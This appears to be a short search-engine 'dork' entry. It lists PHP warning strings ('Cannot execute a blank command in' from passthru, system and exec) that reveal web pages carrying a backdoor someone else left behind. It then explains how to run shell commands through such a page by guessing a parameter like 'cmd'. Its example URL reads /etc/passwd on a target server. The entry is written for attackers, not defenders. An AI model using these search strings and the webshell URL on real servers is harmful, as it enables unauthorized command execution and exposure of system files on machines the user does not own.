"Warning: passthru(): Cannot execute a blank command in" "Warning: system(): Cannot execute a blank command in" "Warning: exec(): Cannot execute a blank command in" generally: "Warning:" "Cannot execute a blank command in" this a php error message, essentially it shows hacked pages links where someone leaved a backdoor and the page has error_reporting not set to 0... you can execute shell commands simply appending a var, guessing variable name, usually 'cmd' or 'command' or something else, example: http://[target]/[path]/somescript.php?cmd=cat%20/etc/passwd